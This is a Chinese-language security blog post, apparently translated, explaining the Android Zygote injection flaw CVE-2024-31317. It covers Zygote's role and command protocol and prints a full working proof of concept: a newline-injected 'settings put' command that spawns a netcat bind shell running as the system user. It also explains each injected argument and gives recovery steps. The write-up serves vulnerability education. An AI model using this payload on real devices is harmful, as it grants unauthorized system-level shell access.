白帽故事 · 2025年3月10日 0

【CVE-2024–31317】利用 Android Zygote 的注入攻击

引言

Android 的 Zygote 进程在操作系统中扮演着至关重要的角色,负责fork新的应用程序和系统进程。

然而,CVE-2024–31317 暴露出一个关键漏洞,允许攻击者利用 Zygote 进行注入——从而能够以系统级权限执行代码。

本文将概述 Android Zygote 进程的背景,然后深入探讨 Zygote 注入漏洞及其如何在 Android 11 或更早版本的设备上被利用。

Android Zygote 背景

我们通过下图来解释 Android 操作系统中 Zygote 进程的作用,当 Android 设备开机时,引导加载程序将 Linux 内核加载到内存中并开始执行。内核执行硬件初始化,挂载根文件系统,并为用户空间进程准备环境。

在此设置完成后,内核在内存中启动初始化守护进程作为第一个进程,该守护进程负责启动包括 Zygote 进程在内的关键 Android 服务,Zygote 进程会为应用程序和系统级进程进行fork,Zygote 进程以系统权限运行,并且是 Android 运行时环境中的关键组件。

file

在 Zygote 启动后,它首先生成的是 System Server 进程,System Server 负责管理 Android 的大部分核心服务,并在其它应用程序启动之前初始化几个重要组件,如果没有 System Server,Android 将无法管理应用程序、权限或系统行为。

每当需要启动一个新的进程时,System Server 会向 Zygote 发出命令,Zygote 作为一个守护进程运行,并在/dev/socket/zygote 接受指令,Zygote 的网络协议定义了一条命令的结束和另一条命令的开始,具体如下:

  • 每个命令都是 UTF-8 文本,并以十进制数字开头
  • 十进制数字表示后面跟随的参数数量
  • 每个参数放在单独的一行
  • 最后一个参数后面的行将开始下一个命令

下面是一个典型的进程启动命令示例,后面跟着一个特殊的--set-api-denylist-exemptions命令:

file

每个命令默认会启动一个新的进程,而参数则指定了该进程的详细信息,然而,某些特殊的参数会覆盖这一默认行为,导致 Zygote 执行不同的操作。

Zygote 注入漏洞 (CVE-2024–31317)

Zygote 注入(CVE-2024–31317)是一种高风险漏洞,它使攻击者能够以系统级权限执行恶意代码。在下面的例子中将演示如何利用此漏洞将 shell 用户的权限提升到系统权限,前提是设备启用了 USB 调试功能

Meta Red Team X在Android中发现了一个全局设置,名为hidden_api_blacklist_images,其值直接包含在Zygote命令中。

此设置允许某些应用程序绕过Android的隐藏API限制, System Server不希望此设置包含新元素,并且在将此命令传递给 Zygote 进程时不会对其进行转义。

存在漏洞的代码可以在 System Server 的源代码中看到,每当由于任何原因更改了 hidden_api_blacklist_exemptions 设置时,就会调用 update() 方法。该设置包含一个用逗号分隔的字符串列表,这些字符串会被分割成数组并传递给 ZYGOTE_PROCESS.setApiDenylistExemptions()

file

由于 hidden_api_blacklist_exemptions 直接包含在 Zygote 的命令行参数中,注入换行符( \n )可以让攻击者附加任意 Zygote 命令,Zygote 会将这些注入的命令视为合法命令,从而允许以系统级权限执行任意代码。

漏洞利用

hidden_api_blacklist_exemptions设置只能由具有 WRITE_SECURE_SETTINGS 权限的应用程序修改,虽然未授权的应用程序无法更改此设置,但一些预装系统应用程序可以

重要的是,ADB Shell 具有 WRITE_SECURE_SETTINGS 权限,这意味着我们可以通过 ADB 使用 settings 命令来利用 Zygote 注入。

以下 PoC(来自 GitHub)利用了 Zygote 注入漏洞,使我们能够提升到系统级权限:

首先,我们停止设置应用程序,以确保当应用程序重新启动时,我们的Payload可以生效。

然后,我们将Payload注入到 hidden_api_blacklist_exemptions 设置中。

首先按照 Zygote 期望的 API 签名格式插入一个占位符( "LClass1;->method1 ),但在其后面立即插入一个换行符并指定我们的恶意 Zygote 命令。

am force-stop com.android.settings
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
15
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--target-sdk-version=29
--setgroups=3003
--nice-name=runnetcat
--seinfo=platform:su:targetSdkVersion=29:complete
--invoke-with
toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l;
--instruction-set=arm
--app-data-dir=/data/
--package-name=com.android.settings
android.app.ActivityThread
"
am start -a android.settings.SETTINGS
nc localhost 1234

恶意 Zygote 命令的参数如下:

  • –runtime-args 指定该进程应被视为 Android 运行时进程

  • –setuid/setgid=1000 将进程的用户 ID 和组 ID 设置为系统用户的 ID

  • –runtime-flags=2049 设置进程为可调试并允许执行动态代码

  • –mount-external-full 确保进程获得对外部存储的完全访问权限

  • –target-sdk-version=29会强制进程按照 Android 10 的方式运行

  • –setgroups=3003 将进程添加到 AID_NET 组,使其能够发起网络连接

  • –nice-name=runnetcat 将进程名称设置为 runnetcat ,使其能够在系统日志中被识别

  • –seinfo=platform:su:targetSdkVersion=29:complete 操作进程的 SELinux 安全上下文。具体来说,此参数表示应用程序应作为系统应用运行,针对 Android 10(SDK 版本 29)(su 在测试中没有明显效果,可以移除)

漏洞中最重要的一部分位于 --invoke-with 参数中,该参数允许在进程实际运行之前指定要执行的命令。

在这种情况下,执行了netcat,将一个 Shell 绑定到本地主机的 1234 端口。

-L 参数是为了确保 netcat 在初始连接关闭后仍然持续运行,而 /system/bin/sh -l 启动了一个完整的交互式 Shell,允许我们以系统用户身份执行命令:

--invoke-with toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l;

剩余参数指定如下:

  • –instruction-set=arm 将进程的 CPU 架构设置为 ARM。这很重要,因为 Android 支持 ARM 和 x86 两种架构

  • –app-data-dir=/data/ 设置进程工作目录为 /data/ 目录

  • 进程包名设置为 com.android.settings

最后,我们使用 " 终止 Zygote 命令,完成注入。此时,Payload尚未执行,虽然 hidden_api_blacklist_exemptions 设置已被修改。这些更改只有在 Zygote 分 spawn 新进程时才会生效,这将引导我们进入下一步。

执行完 am start -a android.settings.SETTINGS 后,system server检测到 hidden_api_blacklist_exemptions 的更改,并将更新后的豁免权转发给 Zygote,之后将执行注入的命令,Payload生效。

通过输入 nc localhost 1234 可以连接到系统级 shell,从而完成从 shell 到 system 的提权。

下图演示了如何在运行 Android 10 的模拟器上利本漏洞,成功从 shell 提升到 system :

file

关于设备启动环的问题警告

执行此漏洞利用后,重新启动设备可能会导致其进入启动环,这是因为我们修改了 hidden_api_blacklist_exemptions 设置,该设置会在重新启动时保持不变,并直接影响 Zygote 如何启动进程。

由于 Zygote 对于启动系统进程至关重要,任何配置错误或执行流程中的损坏都可能导致 Android 无法正常启动。

在此状态下,我们仍然可以通过 ADB Shell 访问设备,可以使用此连接删除hidden_api_blacklist_exemptions 设置,从而恢复正常的 Zygote 行为:

adb shell
settings delete global hidden_api_blacklist_exemptions
reboot

一旦设备重新启动,Zygote就可以正常启动了,但是,这也会移除注入的Payload。

结论

在本文我们探讨了 Android Zygote 注入漏洞,并展示了如何通过 ADB Shell 在运行 Android 11 或更早版本的设备上利用本漏洞。

原文来自:https://infosecwriteups.com/exploiting-android-zygote-injection-cve-2024-31317-d83f69265088

如需了解有关此漏洞的更多信息,可参阅下面的链接进行扩展阅读:

https://blog.flanker017.me/the-new-mystique-bug-cve-2024-31317/
https://dawnslab.jd.com/the_return_of_mystique/
https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html